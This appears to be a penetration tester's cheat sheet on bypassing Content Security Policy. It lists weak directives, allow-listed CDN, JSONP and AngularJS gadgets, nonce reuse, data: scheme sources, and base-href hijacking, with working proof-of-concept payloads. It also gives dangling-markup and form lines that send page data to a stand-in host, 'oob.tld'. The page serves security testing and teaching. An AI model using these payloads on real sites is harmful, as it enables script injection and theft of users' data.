caon.io

CSP Bypass Techniques

Read the policy before writing a payload. Most of the time one directive is doing all the work and it is already broken.

curl -sI https://example.com | grep -i content-security-policy

Paste it here: https://csp-evaluator.withgoogle.com/

The free wins

default-src *                       no protection
script-src 'unsafe-inline'          done
script-src 'unsafe-eval'            done, if you control any sink
script-src *                        done
object-src not set                  <object data="data:text/html,...">
base-uri not set                    <base href="//oob.tld"> hijacks every relative script
frame-ancestors not set             clickjacking, separate bug
missing on the error pages only     404/500 often lose the header

base-uri missing is the one people skip. With any HTML injection it turns every relative <script src="/app.js"> into a script from your host.

Allow-listed CDNs

If the policy allows a host that serves arbitrary JS, the policy is decorative.

https://cdnjs.cloudflare.com   →  angular, prototype, and a hundred gadget libraries
https://unpkg.com              →  every npm package
https://cdn.jsdelivr.net       →  /gh/user/repo  (your own repo)
https://www.google.com         →  open redirects
https://accounts.google.com    →  same
*.googleapis.com               →  hosted JSONP endpoints

Angular gadget on an allow-listed CDN:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.7.9/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(document.domain)')()}}</div>

JSONP on an allow-listed origin turns the callback into your code:

<script src="https://allowed.tld/api?callback=alert(document.domain)//"></script>

Nonce and hash reuse

<!-- the nonce is on the page; if you can inject markup, reuse it -->
<script nonce="THE_NONCE">alert(1)</script>
  • Is the nonce actually per-response, or is it cached with the page?
  • strict-dynamic: if any allowed script creates elements from your input, it inherits trust
  • Dangling markup can exfiltrate the nonce even when you cannot execute

Wildcards and schemes

script-src 'self' https:          →  any https host
script-src 'self' data:           →  <script src="data:text/javascript,alert(1)">
script-src 'self' *.example.com   →  any subdomain, including one you took over

See Subdomain Takeover. A takeover on an allow-listed subdomain is a CSP bypass.

Path is not enforced after a redirect

script-src example.com/a/ looks tight, but a redirect from /a/ drops the path check. Find any open redirect on an allowed host.

Exfiltration when you cannot execute

If script-src holds but connect-src / img-src / form-action do not:

<img src="//oob.tld/?x=" ...            dangling markup
<form action="//oob.tld"><input name=x  form-action not set
<link rel=dns-prefetch href="//A.oob.tld">

CSS-only exfiltration works when style-src is loose.

Report-Only

Content-Security-Policy-Report-Only enforces nothing. If that is the only header, the site is unprotected, worth its own note in the report.

Articles

↑↓ navigate↵ openesc close